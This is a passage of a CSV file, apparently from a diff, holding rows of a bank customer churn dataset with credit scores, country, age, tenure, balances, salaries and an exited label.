+9358,15814405,Chesnokova,418,France,Female,46,9,0,1,1,1,81014.5,1 +9359,15729359,Chambers,837,France,Female,29,9,0,2,1,1,41866.26,0 +9360,15606944,Fleming,645,Germany,Male,43,9,140121.17,1,1,0,11302.7,1 +9361,15671934,Veale,552,Germany,Male,39,2,132906.88,1,0,1,149384.43,0 +9362,15641773,Browne,580,Germany,Male,45,2,179334.83,2,1,1,169303.65,0 +9363,15701972,Parsons,684,France,Male,35,3,137179.39,1,1,1,37264.11,0 +9364,15749114,Bailey,634,Spain,Male,35,3,0,2,1,1,19515.48,0 +9365,15780362,Ferrari,607,France,Female,49,9,119960.29,2,1,0,103068.22,0 +9366,15753229,Genovese,802,France,Male,29,9,127414.55,1,1,1,134459.12,0 +9367,15656009,McIntyre,736,France,Female,36,6,0,1,1,0,70496.66,0 +9368,15785024,Warner,629,France,Female,40,9,137409.19,1,1,0,175877.7,1 +9369,15670492,Gordon,737,France,Male,28,8,0,2,1,0,106390.01,0 +9370,15795458,McMillan,718,Spain,Female,39,2,0,1,1,1,52138.49,0 +9371,15732438,Cheng,561,France,Male,43,4,0,4,0,0,18522.91,1 +9372,15781987,Akhtar,641,France,Male,31,9,112494.99,1,1,1,32231.6,0 +9373,15775826,Iadanza,677,France,Male,30,1,78133.15,1,0,1,174225.88,0 +9374,15807457,Abernathy,641,Spain,Female,36,1,0,2,1,0,102021.39,0 +9375,15632538,Watson,658,Spain,Female,32,5,145553.07,1,1,1,31484.76,0 +9376,15641389,Shen,659,Germany,Male,48,4,123593.22,2,1,0,82469.06,1 +9377,15657306,Kershaw,567,France,Female,47,2,0,1,0,0,110900.43,1 +9378,15709447,Reed,584,France,Female,26,0,146286.22,1,1,0,105105.35,0 +9379,15762682,Mitchell,709,Spain,Female,35,1,111827.27,2,1,0,12674.68,0 +9380,15626042,Webb,690,Spain,Female,26,2,0,2,1,1,93255.85,0 +9381,15597109,Vanzetti,627,France,Male,70,1,94416.78,1,0,1,145299.5,0 +9382,15756148,Nnanna,765,Spain,Male,45,2,91549.78,1,1,1,47139.44,0 +9383,15665634,Campbell,645,France,Female,38,7,59568.57,1,1,1,167723.25,0 +9384,15739997,Capon,716,France,Female,23,2,94464.81,2,0,1,185900.88,0 +9385,15686242,Otutodilichukwu,771,France,Female,57,4,0,1,0,0,85876.67,1 +9386,15759244,Boone,687,Germany,Male,44,8,95368.14,2,1,1,1787.85,0 +9387,15672027,McIntyre,717,Germany,Female,33,10,102185.42,2,1,0,23231.93,0 +9388,15594576,Zhdanov,524,France,Male,32,1,144875.71,1,0,0,187740.04,0 +9389,15707138,Nagy,679,Spain,Male,39,5,0,2,1,1,100060.54,0 +9390,15756954,Lombardo,538,France,Female,32,2,0,1,1,1,80130.54,0 +9391,15619130,Simpson,752,Germany,Female,37,5,113291.05,2,1,1,132467.54,0 +9392,15639665,Herbert,846,Spain,Male,61,0,0,2,1,1,96202.44,0 +9393,15571065,Lehr,532,Spain,Female,39,0,0,2,1,0,94977.3,0 +9394,15686060,Chou,670,Germany,Male,43,9,111677.88,1,1,0,178827.3,1 +9395,15615753,Upchurch,597,Germany,Female,35,8,131101.04,1,1,1,192852.67,0 +9396,15800961,Ugorji,627,Germany,Male,52,1,76101.81,2,0,1,177238.35,0 +9397,15763065,Palerma,700,Spain,Female,40,2,0,2,1,0,199753.97,0 +9398,15672467,Coles,766,France,Female,52,7,92510.9,2,0,1,66193.61,0 +9399,15752915,Hsueh,488,France,Female,34,2,0,2,1,1,181270.84,0 +9400,15744695,Tu,694,France,Male,39,5,77652.4,1,1,1,25407.59,0 +9401,15584897,Kuo,639,France,Female,31,3,98360.03,1,0,0,20973.8,0 +9402,15601857,Woodhouse,705,Germany,Female,46,4,115518.07,1,0,0,76544.9,1 +9403,15674156,Tretiakova,810,Germany,Male,69,3,27288.43,1,1,1,110509.9,0 +9404,15695465,Gibson,638,France,Female,36,6,0,1,1,0,164247.51,0 +9405,15792232,Moss,595,Spain,Female,43,5,0,2,0,0,105149.8,0 +9406,15807900,Chineze,575,France,Male,36,7,0,1,1,1,55868.97,1 +9407,15743760,Davidson,850,France,Male,31,6,131996.66,2,1,1,178747.43,0 +9408,15652835,Liang,419,Spain,Female,27,2,121580.42,1,0,1,134720.51,0 +9409,15767818,Graham,640,France,Male,55,10,132436.34,1,1,0,978.66,0 +9410,15591150,Nwebube,570,Spain,Male,34,10,0,2,0,1,183387.12,0 +9411,15734659,Sozonov,640,Germany,Female,46,5,107978.4,2,1,0,155876.06,0 +9412,15796115,Forbes,689,Germany,Female,40,4,78119.59,4,1,0,119259.34,1 +9413,15724648,Chikezie,725,France,Male,26,6,98684.15,1,0,0,133720.57,0 +9414,15737732,Onwuemelie,751,France,Female,44,10,0,2,1,0,170634.49,0 +9415,15632280,Toth,544,Spain,Female,53,9,0,1,1,0,125692.07,1 +9416,15750407,Hunt,768,Germany,Female,43,2,129264.05,2,0,0,19150.14,0 +9417,15795370,Mazure,648,Germany,Male,37,6,131753.41,1,1,0,86894.67,0 +9418,15656829,Hughes,577,Spain,Female,33,6,0,2,1,0,57975.8,0 +9419,15643794,Bennett,639,Spain,Female,27,2,0,1,1,1,82938.99,0 +9420,15798605,Tien,686,Germany,Male,26,1,57422.62,1,1,1,79189.4,0 +9421,15637324,Kay,657,France,Female,28,7,0,2,0,1,5177.62,0 +9422,15589589,Bryan,613,France,Male,34,5,144094.2,1,1,0,44510.26,0 +9423,15778936,Ingamells,701,France,Male,33,9,147510.34,1,1,0,190611.92,0 +9424,15757385,Milne,578,Spain,Female,28,8,161592.76,1,1,0,177834.79,0 +9425,15666200,Lombardo,689,France,Female,40,1,0,2,1,1,119446.64,0 +9426,15683977,Owens,687,Spain,Female,72,4,0,2,1,1,50267.69,0 +9427,15675518,Charlton,499,Spain,Female,53,1,75225.53,2,0,0,144849.1,1 +9428,15584812,Overby,693,Spain,Female,39,0,0,2,0,0,81901.6,0 +9429,15752984,Chifley,737,France,Female,70,9,87542.89,2,1,1,42576.86,0 +9430,15577913,Oliver,651,France,Female,32,8,144581.96,1,1,1,87609.5,0 +9431,15591980,Hill,753,France,Male,33,5,122568.05,2,1,1,82820.85,0 +9432,15598948,DeRose,523,Spain,Female,24,5,172231.93,1,0,1,155144.12,0 +9433,15574142,Chuang,458,Germany,Female,28,2,171932.26,2,1,1,9578.24,0 +9434,15582903,Edwards,643,France,Male,39,7,0,2,1,1,170392.59,0 +9435,15733229,Rodriguez,638,Spain,Female,34,7,0,2,0,0,3946.29,0 +9436,15635752,Lo,685,Germany,Male,38,4,111798.06,2,1,1,102184.66,0 +9437,15771000,Powell,684,France,Male,38,4,0,3,1,0,75609.84,0 +9438,15804864,Chu,670,France,Female,27,5,79336.61,1,1,1,26170.08,0 +9439,15641175,Munro,701,Germany,Male,63,3,120916.52,3,0,0,144727.45,1 +9440,15692226,Onwumelu,705,France,Female,31,3,142905.51,1,1,1,58134.97,0 +9441,15584156,Siciliani,593,Spain,Male,27,10,0,3,0,0,94620,1 +9442,15702656,Yobachi,651,France,Female,33,1,96834.78,1,1,0,108764.69,0 +9443,15606552,Akabueze,741,France,Male,37,9,105261.76,2,1,1,149503.54,0 +9444,15687001,Chiemenam,596,Germany,Male,54,1,123544,1,1,1,120314.75,1 +9445,15781903,Odinakachukwu,581,Germany,Male,41,2,127913.71,2,1,1,44205.95,0 +9446,15731951,Reilly,689,Spain,Female,28,5,95328.6,1,1,0,6129.61,1 +9447,15580953,Forbes,544,France,Male,30,4,73218.89,1,0,1,126796.69,0 +9448,15810390,Amadi,718,France,Female,41,1,0,2,0,1,27509.52,1 +9449,15628274,Ferri,583,Germany,Male,35,8,149995.72,2,1,0,42143.55,0 +9450,15615444,Y?an,663,Germany,Male,28,8,123674.28,2,1,1,87985.2,0 +9451,15784010,Williamson,666,Germany,Male,33,2,124125.26,1,1,0,81884.8,0 +9452,15571586,Briggs,524,Spain,Male,29,3,159035.45,1,1,0,2705.31,1 +9453,15748616,Napolitani,599,France,Male,27,5,0,2,1,0,30546.4,0 +9454,15769402,Carpenter,667,France,Male,27,7,156811.74,1,1,1,149402.59,0 +9455,15739248,Lin,727,France,Male,52,4,0,2,1,1,118429.02,0 +9456,15603481,Robinson,689,Spain,Female,55,4,0,2,1,1,58442.25,0 +9457,15723604,Collins,639,France,Male,39,6,150555.83,1,1,0,30414.17,0 +9458,15797822,Kingsley,678,France,Male,28,2,109137.12,1,1,1,58814.41,0 +9459,15665064,Harvey,523,France,Male,36,8,158351.02,2,1,0,155304.53,0 +9460,15640580,Obiora,650,France,Female,47,9,0,1,1,0,187943.6,0 +9461,15581089,Knight,744,Spain,Male,35,7,0,2,1,1,43036.6,0 +9462,15728605,Hung,697,France,Male,40,4,0,2,0,1,26543.28,0 +9463,15737385,Curtis,800,Spain,Female,46,6,0,2,1,0,171928.04,0 +9464,15714789,Perez,664,France,Male,24,7,0,1,0,1,35611.35,0 +9465,15786035,Gosnell,740,France,Male,39,9,0,2,1,0,19047.23,0 +9466,15815259,Fang,835,France,Female,56,2,0,2,1,1,39820.13,0 +9467,15592716,Clarke,559,France,Male,52,2,0,1,1,0,129013.59,1 +9468,15734850,Milanesi,676,Spain,Male,36,1,82729.49,1,1,0,113810.12,0 +9469,15638047,Chia,613,Germany,Female,45,9,142765.24,2,1,0,34749.65,0 +9470,15674573,Gearhart,713,France,Female,25,4,121172.97,1,1,1,56268.98,0 +9471,15694859,McLean,751,Germany,Female,28,10,132932.14,2,1,1,46630.47,0 +9472,15776404,Williamson,523,France,Male,22,8,123374.46,1,1,1,124906.59,0 +9473,15579345,Murphy,775,Germany,Female,74,0,161371.5,1,1,1,134869.93,0 +9474,15690733,Angelo,608,Spain,Male,45,4,0,2,0,0,36697.48,1 +9475,15631481,Thomson,673,France,Male,51,8,79563.36,2,1,1,172200.91,0 +9476,15620988,Murray,616,France,Male,46,2,0,2,1,0,137136.46,0 +9477,15571529,Kirby,650,Germany,Female,48,7,138232.24,1,1,0,57594.78,0 +9478,15592104,Lane,655,France,Female,41,5,0,1,0,0,36548,1 +9479,15651900,Bergamaschi,782,Germany,Female,53,1,81571.05,1,1,0,182960.46,1 +9480,15596212,Yang,781,Spain,Male,35,1,0,2,0,0,42117.9,0 +9481,15710687,Mills,593,France,Female,33,0,95927.04,1,1,0,199478.05,0 +9482,15613787,Chidubem,505,Spain,Male,35,8,116932.59,1,1,0,91092.84,0 +9483,15599211,Findlay,707,France,Male,40,1,0,2,1,0,14090.4,1 +9484,15675983,Wood,692,France,Female,36,3,79551.12,1,0,1,178267.07,0 +9485,15622370,Boyle,813,Germany,Male,30,1,116416.94,1,0,1,85808.22,0 +9486,15656319,Toscano,850,Spain,Male,37,4,88141.1,1,1,0,109659.12,0 +9487,15605130,Seccombe,753,France,Male,32,6,177729.13,1,1,1,161642.08,0 +9488,15672574,Uspenskaya,850,Spain,Female,32,5,0,1,1,1,3830.59,0 +9489,15659355,McKenzie,671,Spain,Male,32,6,123912.78,2,1,1,146636.44,0 +9490,15777907,Liang,791,France,Female,33,3,0,1,1,1,144413.92,1 +9491,15655171,Yermakova,624,France,Male,80,3,0,1,1,1,65801.44,0 +9492,15619674,White,649,France,Female,35,4,108306.44,1,1,1,192486.24,0 +9493,15775192,Rounsevell,732,Germany,Female,48,4,102962.62,1,1,0,120852.85,1 +9494,15617657,Ts'ai,664,France,Female,36,0,103502.22,1,1,1,146191.82,0 +9495,15688951,Stoneman,789,Germany,Male,43,8,119654.44,2,0,1,148412.24,1 +9496,15763460,Yao,680,France,Male,33,10,183768.47,1,1,0,164119.35,0 +9497,15756992,Chukwukere,701,France,Male,37,1,0,2,1,0,163457.55,0 +9498,15617454,Ifeatu,684,France,Female,25,1,0,2,0,1,144978.47,0 +9499,15701932,Millar,586,France,Female,52,6,140900.97,1,1,1,67288.89,0 +9500,15700813,Igwebuike,522,Germany,Female,25,5,94049.92,2,1,0,103269,0 +9501,15645600,Obidimkpa,739,Spain,Female,27,8,98926.4,1,1,1,106969.98,0 +9502,15634146,Hou,835,Germany,Male,18,2,142872.36,1,1,1,117632.63,0 +9503,15686743,Moody,790,Spain,Male,29,3,46057.96,2,1,1,189777.66,0 +9504,15698792,Keldie,671,France,Female,48,6,119769.77,1,0,1,66032.65,0 +9505,15591724,Liu,560,France,Female,44,5,143244.97,1,1,0,98661.27,0 +9506,15571281,Ts'ao,651,France,Male,28,10,79562.98,1,1,1,74687.37,0 +9507,15661380,Walker,682,France,Male,69,6,0,2,0,1,149604.18,0 +9508,15728885,Defalco,808,France,Male,41,0,0,1,1,1,79888.78,0 +9509,15618950,Lo Duca,644,Spain,Male,26,8,96659.64,2,1,1,138775.69,0 +9510,15609804,Hyde,688,France,Male,29,1,0,2,1,0,154695.57,0 +9511,15735849,Kanayochukwu,617,France,Female,26,2,165947.99,2,0,1,168834.38,0 +9512,15652948,Yen,738,France,Male,33,4,92676.3,1,1,0,105817.63,0 +9513,15618155,Ts'ui,663,France,Male,45,5,83195.12,1,1,1,48682.1,0 +9514,15566378,Tillman,515,France,Male,48,5,129387.94,1,0,1,147955.91,1 +9515,15565879,Riley,845,France,Female,28,9,0,2,1,1,56185.98,0 +9516,15792922,Tu,639,Spain,Male,38,9,130233.14,1,1,1,81861.1,0 +9517,15770567,Ruiz,557,France,Female,32,3,123502.53,1,1,1,69826.8,0 +9518,15738042,Goliwe,543,Germany,Male,37,8,140894.06,2,1,1,118059.19,0 +9519,15714920,Balashov,585,Germany,Male,44,7,163867.86,1,1,1,112333.22,0 +9520,15782121,Leonard,610,France,Female,27,2,0,2,1,0,14546.76,0 +9521,15673180,Onyekaozulu,727,Germany,Female,18,2,93816.7,2,1,0,126172.11,0 +9522,15660636,Carpenter,540,Spain,Female,40,8,0,2,1,0,3560,0 +9523,15664504,Beede,418,France,Male,35,7,0,2,1,1,88878.15,0 +9524,15790322,Beneventi,660,France,Female,32,0,114668.89,1,1,0,84605,0 +9525,15739847,Sadlier,850,Germany,Male,38,5,146756.68,1,1,0,78268.61,0 +9526,15699415,Lewis,618,France,Female,46,6,150213.71,1,1,0,120668.46,1 +9527,15665521,Chiazagomekpele,642,Germany,Male,18,5,111183.53,2,0,1,10063.75,0 +9528,15682868,Elliott,850,France,Female,40,9,99816.46,1,1,1,163989.66,1 +9529,15584462,Liang,739,France,Male,34,9,0,1,1,0,60584.33,0 +9530,15661708,She,508,France,Female,41,5,0,2,1,1,94170.84,0 +9531,15584452,Bozeman,667,France,Male,41,6,0,2,0,0,167181.77,0 +9532,15717010,Yu,741,France,Female,60,5,0,1,1,1,38914.51,0 +9533,15643828,Teng,592,France,Male,29,7,0,2,1,1,91196.67,0 +9534,15733361,Davide,651,Germany,Female,45,6,86714.06,1,1,0,85869.89,1 +9535,15795488,Beneventi,773,Spain,Male,52,2,0,2,1,0,57337.79,0 +9536,15581551,Yobachukwu,850,Spain,Male,41,8,132838.07,1,1,1,175347.28,0 +9537,15632051,Douglas,550,Germany,Female,42,10,128707.31,1,1,0,63092.65,1 +9538,15780409,Egobudike,783,France,Male,40,6,0,2,1,0,109742.55,0 +9539,15572767,Shelby,777,France,Male,29,2,0,2,1,0,124489.88,0 +9540,15590337,Golubov,659,France,Male,29,6,123192.12,1,1,1,56971.41,1 +9541,15634551,Williamson,727,Germany,Male,46,3,115248.11,4,1,0,130752.01,1 +9542,15669290,Fan,603,France,Male,38,8,59360.77,1,1,1,191457.06,0 +9543,15621140,Nwebube,644,Spain,Male,37,9,0,2,1,1,96442.86,0 +9544,15613518,Bellucci,647,France,Female,35,6,112668.7,1,0,1,122584.29,0 +9545,15728043,Udinese,648,Germany,Female,37,7,138503.51,2,1,0,57215.85,0 +9546,15570073,Marian,721,Spain,Male,57,1,0,1,1,1,195940.96,0 +9547,15777033,Chizoba,524,France,Male,29,7,0,2,1,1,105448.74,0 +9548,15682454,McFarland,626,France,Female,34,3,0,2,1,1,37870.29,0 +9549,15758513,McDonald,569,France,Male,43,7,0,2,1,0,52534.81,0 +9550,15772604,Chiemezie,578,Spain,Male,36,1,157267.95,2,1,0,141533.19,0 +9551,15721715,Fane,769,France,Female,40,9,133871.05,1,1,1,50568.02,0 +9552,15688563,Marchesi,694,Germany,Male,31,4,141989.27,2,1,0,26116.82,0 +9553,15772009,Scott,664,France,Female,41,5,0,1,1,1,152054.33,0 +9554,15809585,H?,646,France,Male,38,7,0,2,1,0,1528.4,0 +9555,15593778,Craig,779,France,Female,29,3,46388.16,3,1,0,127939.26,1 +9556,15655360,Chikelu,782,Germany,Female,72,5,148666.99,1,1,0,2605.65,1 +9557,15780909,Caffyn,769,Germany,Male,34,7,115101.5,1,0,0,57841.89,1 +9558,15757310,Otitodilichukwu,655,Germany,Male,67,6,148363.38,1,1,1,186995.17,0 +9559,15801411,Green,623,Spain,Male,46,4,0,1,1,0,5549.11,1 +9560,15761706,Y?an,705,Spain,Female,39,8,144102.32,1,1,1,11682.36,0 +9561,15658409,Mao,686,France,Male,41,5,128876.71,3,1,1,106939.34,1 +9562,15810010,Dahlenburg,678,Germany,Male,36,6,118448.15,2,1,0,53172.02,0 +9563,15627027,Shih,738,France,Male,39,5,0,2,1,1,114388.98,0 +9564,15624374,Maclean,703,France,Male,28,9,0,2,0,1,2151.17,0 +9565,15720083,Fiorentino,554,Spain,Male,42,1,0,2,0,1,183492.9,0 +9566,15752294,Long,582,France,Female,38,9,135979.01,4,1,1,76582.95,1 +9567,15743193,Olson,644,France,Male,37,6,117271.8,2,1,0,104217.96,1 +9568,15696733,McKenzie,724,France,Male,29,4,0,1,1,0,8982.75,0 +9569,15677522,Rossi,593,France,Male,33,1,0,2,0,0,9984.4,0 +9570,15643523,Power,710,Spain,Female,30,10,0,2,1,0,19500.1,0 +9571,15624936,Yen,631,France,Male,35,8,129205.49,1,1,1,79146.36,0 +9572,15716085,Norris,739,Spain,Female,41,8,0,1,1,0,191694.77,1 +9573,15641688,Collier,644,Spain,Male,18,7,0,1,0,1,59645.24,1 +9574,15796834,Rivers,652,Germany,Male,35,7,104015.54,2,1,1,55207.88,0 +9575,15720123,Hudson,554,Spain,Male,37,3,0,2,1,0,166177.3,0 +9576,15604732,Milani,483,France,Female,30,9,0,2,0,0,136356.97,0 +9577,15723484,Hunt,669,Germany,Female,42,1,103873.39,1,1,0,148611.52,0 +9578,15807120,Oluchukwu,841,Germany,Female,52,3,112383.03,1,1,0,85516.37,1 +9579,15810891,Lorenzo,662,France,Male,34,2,117731.79,2,0,1,55120.79,0 +9580,15640407,Chidiegwu,821,Germany,Male,45,0,135827.33,2,1,1,131778.58,0 +9581,15778838,Warren,783,France,Male,38,9,114135.17,1,1,0,153269.98,0 +9582,15709256,Glover,850,France,Female,28,9,0,2,1,1,164864.67,0 +9583,15742285,Andersen,559,France,Male,62,6,118756.62,1,1,1,20367.68,0 +9584,15729019,Arcuri,602,Spain,Male,34,8,98382.72,1,1,0,39542,0 +9585,15608588,Mackinlay,563,Germany,Male,41,2,100520.92,1,1,1,19412.8,1 +9586,15610557,McCarthy,695,Spain,Female,35,7,79858.13,2,1,1,127977.66,0 +9587,15786418,Chiu,546,France,Female,20,6,0,1,0,1,20508.85,0 +9588,15653050,Norriss,719,Germany,Female,76,10,95052.29,1,1,0,176244.87,0 +9589,15744914,Moore,539,Germany,Male,42,1,177728.55,1,1,0,105013.63,0 +9590,15669611,Mott,632,France,Male,71,3,83116.68,1,1,1,27597.76,0 +9591,15594786,Ts'ai,772,Germany,Male,34,7,111565.91,1,1,1,121073.23,0 +9592,15649211,Fokina,708,Spain,Male,40,8,83015.71,1,1,0,101089.76,0 +9593,15766066,Nikitina,668,Germany,Female,28,1,124511.01,1,0,0,114258.18,0 +9594,15772216,Henry,738,France,Female,67,1,130652.52,1,0,1,22762.23,0 +9595,15619898,Chiefo,785,France,Male,55,5,0,2,1,1,7008.65,0 +9596,15724543,Mao,597,France,Male,61,5,0,2,1,1,81299.17,0 +9597,15755084,Bezrukova,531,France,Male,37,7,121854.45,1,1,0,147521.35,0 +9598,15730441,Dodd,509,France,Male,26,10,0,2,1,1,6177.83,0 +9599,15666767,Lori,508,France,Male,35,1,86893.28,1,0,0,59374.82,0 +9600,15690456,Yudina,749,Germany,Female,32,7,79523.13,1,0,1,157648.12,0 +9601,15570533,Conti,621,Germany,Female,55,7,131033.76,1,0,1,75685.59,1 +9602,15797692,Volkova,659,France,Female,33,7,89939.62,1,1,0,136540.09,0 +9603,15603135,Boni,634,Germany,Female,59,3,95727.05,1,0,0,97939.4,1 +9604,15698927,Ritchie,675,France,Male,39,7,0,2,0,1,36267.21,0 +9605,15687363,McMillan,770,France,Male,31,3,155047.56,2,1,1,186064.34,0 +9606,15733444,Phillips,736,France,Female,29,9,0,2,0,0,176152.7,0 +9607,15678057,Lombardi,524,France,Male,44,10,118569.03,2,0,0,82117.2,0 +9608,15806918,Ireland,674,France,Male,28,5,0,1,1,1,151925.25,0 +9609,15638247,Boan,700,Spain,Male,44,9,0,2,1,0,142287.65,0 +9610,15674833,Shao,741,France,Female,35,1,0,2,1,0,36557.55,0 +9611,15812534,Chiemenam,455,France,Male,40,1,0,3,0,1,129975.34,0 +9612,15586522,Hunter,608,Spain,Male,37,2,130461.02,1,1,0,21967.15,0 +9613,15794297,McKay,776,France,Male,36,1,0,2,1,0,53477.76,0 +9614,15737025,Roberts,635,France,Male,33,1,0,3,0,0,178067.33,1 +9615,15615931,Aitken,746,France,Female,37,4,0,2,0,1,171039.56,0 +9616,15664860,Chao,692,Spain,Female,47,3,0,2,1,0,150802.41,1 +9617,15664539,Bruce,683,Spain,Male,35,9,61172.04,1,0,0,82951.12,0 +9618,15583692,Chan,591,Germany,Female,35,2,90194.34,2,1,0,57064.57,0 +9619,15693131,Watts,581,France,Female,24,3,95508.2,1,1,1,45755,0 +9620,15779973,Gibbons,684,Germany,Male,35,3,99967.76,1,1,1,176882.08,0 +9621,15620557,Ni,561,Spain,Male,37,4,101470.29,1,0,1,88838.14,0 +9622,15639549,Jen,718,Germany,Female,33,4,70541.06,1,0,0,88592.8,0 +9623,15618750,Phillips,590,France,Male,31,8,112211.61,1,1,0,26261.42,0 +9624,15796790,Amaechi,573,France,Female,47,8,154543.98,1,1,0,29586.73,0 +9625,15668309,Maslow,350,France,Female,40,0,111098.85,1,1,1,172321.21,1 +9626,15732437,Rowley,504,Germany,Female,44,0,131873.07,2,1,1,158036.72,1 +9627,15665158,Chukwuemeka,813,Spain,Male,27,1,137275.36,1,0,1,115733.16,0 +9628,15689322,Bevan,641,Spain,Male,31,3,153316.14,1,1,0,59927.99,0 +9629,15596624,Topp,662,France,Female,22,9,0,2,1,1,44377.65,0 +9630,15601977,Burgoyne,497,Spain,Male,44,2,121250.04,1,0,1,79691.4,0 +9631,15801462,Yermakov,716,France,Male,31,8,109578.04,2,1,1,51503.51,0 +9632,15566139,Ts'ui,526,France,Female,37,5,53573.18,1,1,0,62830.97,0 +9633,15791006,Kodilinyechukwu,760,Germany,Female,34,6,58003.41,1,1,0,90346.1,0 +9634,15668057,K?,669,France,Female,31,6,113000.66,1,1,0,40467.82,0 +9635,15580805,Marino,655,France,Male,27,10,0,2,1,0,51620.94,0 +9636,15658768,Lucas,547,France,Female,49,2,0,1,0,0,65466.93,1 +9637,15613048,Anderson,648,Germany,Female,40,5,139973.65,1,1,1,667.66,1 +9638,15803654,Wei,790,France,Female,31,2,151290.16,1,1,1,172437.12,0 +9639,15662337,Baldwin,744,Germany,Female,50,1,121498.11,2,0,1,106061.47,1 +9640,15650924,Foster,761,Spain,Female,32,4,103515.39,2,1,1,177622.38,0 +9641,15647203,Gebhart,750,France,Female,35,3,0,1,1,0,191520.5,0 +9642,15682778,Fedorov,680,France,Male,34,9,0,2,1,1,95686.6,0 +9643,15579820,Robertson,704,Spain,Male,38,6,106687.76,1,1,0,173776.5,0 +9644,15709354,Tudawali,521,France,Female,41,2,0,2,1,1,113089.43,0 +9645,15728480,Iloerika,452,France,Female,35,8,0,2,1,1,149614.81,0 +9646,15641091,Onyemauchechukwu,695,France,Female,31,5,106089.2,1,0,0,99537.68,0 +9647,15603111,Muir,850,Spain,Male,71,10,69608.14,1,1,0,97893.4,1 +9648,15679693,Walker,625,France,Male,31,5,0,2,0,1,90.07,0 +9649,15797190,Charlton,608,Germany,Female,40,7,96202.32,1,0,0,161154.85,0 +9650,15788025,Tseng,715,France,Female,38,0,0,2,1,1,332.81,0 +9651,15646168,Ifeatu,834,Spain,Male,33,5,0,2,1,0,66285.18,0 +9652,15580493,Chin,469,France,Male,33,1,127818.52,1,1,0,163477.22,0 +9653,15726720,Blinova,480,France,Female,40,7,0,1,1,0,170332.67,1 +9654,15735799,Maconochie,527,Germany,Male,58,3,137318.42,1,1,1,126144.96,0 +9655,15773098,Ch'in,834,Spain,Male,34,5,0,2,0,0,53437.1,0 +9656,15668971,Nicholson,583,France,Female,40,4,55776.39,2,1,0,26920.43,0 +9657,15603221,Burgess,696,Germany,Male,32,4,84421.62,1,0,1,52314.71,0 +9658,15740043,Young,606,France,Male,32,5,83161.65,1,1,1,116885.59,0 +9659,15712264,Plumb,713,France,Female,39,10,0,2,1,1,126263.97,0 +9660,15751926,Trentino,821,Germany,Male,42,3,87807.29,2,1,1,64613.81,0 +9661,15589401,Allen,550,France,Female,30,4,0,2,1,0,89216.29,0 +9662,15742019,Benford,675,France,Female,39,6,0,2,0,0,83419.15,0 +9663,15660611,Gallo,748,Spain,Male,39,3,0,2,1,1,123998.52,0 +9664,15607634,Cobb,606,Germany,Male,40,9,95293.86,2,0,1,96985.58,0 +9665,15595036,Doherty,726,Germany,Male,30,7,92847.59,1,1,0,146154.06,0 +9666,15745794,Cocci,547,France,Male,30,6,0,2,1,1,18471.86,0 +9667,15781689,Macadam,758,Spain,Male,35,5,0,2,1,0,95009.6,0 +9668,15696054,Tychonoff,596,France,Male,37,2,0,1,0,1,121175.86,0 +9669,15752467,Johnson,720,Spain,Male,34,3,0,2,1,1,77047.78,0 +9670,15597739,Tu,674,France,Male,37,3,0,1,1,0,158049.9,0 +9671,15651336,Chidiebere,756,France,Female,32,4,0,2,1,0,147040.25,0 +9672,15636061,Pope,649,Germany,Male,78,4,68345.86,2,1,1,142566.75,0 +9673,15723013,Sutherland,613,Germany,Male,28,7,76656.4,2,1,1,185483.24,0 +9674,15784148,Beneventi,643,France,Male,62,9,0,2,0,0,155870.82,0 +9675,15578098,Jamieson,600,France,Male,31,8,0,2,1,1,121555.51,0 +9676,15638621,Simmons,735,Spain,Male,39,1,60374.98,1,1,0,40223.74,0 +9677,15720924,Chijioke,585,France,Female,34,1,0,1,1,1,75503.6,0 +9678,15566531,Iloerika,724,Germany,Male,33,4,88046.88,1,0,1,186942.49,1 +9679,15718064,Chia,635,Spain,Male,29,2,0,2,0,0,117173.8,0 +9680,15605067,Nwachinemelu,472,France,Male,19,9,0,2,1,0,3453.4,0 +9681,15655335,Becher,590,France,Male,36,1,0,2,1,0,48876.84,0 +9682,15607301,Romano,651,Spain,Female,63,8,129968.67,1,1,1,11830.53,0 +9683,15694628,Walker,686,Germany,Female,39,4,157731.6,2,1,0,162820.6,0 +9684,15607112,Chiawuotu,606,France,Male,32,6,0,2,0,1,36540.63,0 +9685,15635775,Watt,781,France,Male,33,3,89276.48,1,1,0,6959,0 +9686,15644280,Udegbunam,593,France,Male,45,4,138825.19,1,0,0,10828.78,0 +9687,15708362,Watson,793,France,Male,63,4,103729.79,2,1,1,80272.06,0 +9688,15771997,Bryant,791,France,Female,31,10,75499.24,1,1,0,22184.14,0 +9689,15730579,Ward,850,France,Male,68,5,169445.4,1,1,1,186335.07,0 +9690,15728005,Urban,698,France,Female,57,9,111359.55,2,1,0,105715.01,0 +9691,15791674,Sutherland,846,France,Female,34,10,142388.61,2,0,1,68393.64,1 +9692,15754599,K'ung,765,France,Male,42,4,123311.39,2,1,1,82868.34,0 +9693,15693690,Iweobiegbunam,574,Spain,Male,52,7,115532.52,1,1,0,196257.67,0 +9694,15728963,Wei,617,Germany,Female,51,10,167273.71,1,0,0,93439.75,1 +9695,15659710,Lascelles,581,France,Male,25,5,77886.53,2,1,0,150319.49,0 +9696,15658675,Ts'ao,710,Germany,Male,37,6,135795.63,1,0,1,46523.6,0 +9697,15638788,Mack,550,France,Male,32,8,97514.07,1,1,1,199138.84,0 +9698,15609735,Campbell,533,Germany,Male,51,6,127545.56,2,0,0,79559.02,1 +9699,15771477,Fiorentini,779,France,Male,49,9,106160.37,1,0,0,116893.87,0 +9700,15570145,Long,763,France,Female,23,2,0,2,1,0,153983.99,0 +9701,15797149,Lloyd,563,Spain,Female,36,4,143680.47,2,1,1,63531.19,0 +9702,15636912,Sneddon,678,Spain,Male,38,3,124483.53,1,1,0,126253.31,0 +9703,15687828,Gorshkov,644,Spain,Female,31,5,86006.3,1,1,1,73922.95,0 +9704,15667424,Forbes,682,Germany,Female,43,7,111094.05,2,1,1,64679.3,0 +9705,15759872,L?,625,France,Male,22,9,0,2,1,0,157072.91,0 +9706,15572374,Hopetoun,733,Spain,Male,36,1,0,2,0,1,108377.82,0 +9707,15754926,Lucchesi,512,France,Female,30,6,0,2,1,0,88827.31,0 +9708,15687431,Faria,642,France,Female,41,7,115171.71,1,1,1,37674.47,0 +9709,15604515,Yefremov,737,Germany,Female,22,10,111543.26,2,0,0,106327.85,0 +9710,15682839,Genovesi,575,France,Female,57,8,137936.94,1,1,1,84475.13,0 +9711,15624677,Marquez,543,Germany,Female,37,3,122304.65,2,0,0,33998.7,0 +9712,15646366,Trevisani,521,Germany,Male,41,8,120586.54,1,0,1,20491.15,0 +9713,15701768,Tung,637,France,Male,32,3,0,2,1,1,197827.06,0 +9714,15623566,Barnhill,714,France,Male,40,9,46520.69,1,1,1,96687.25,0 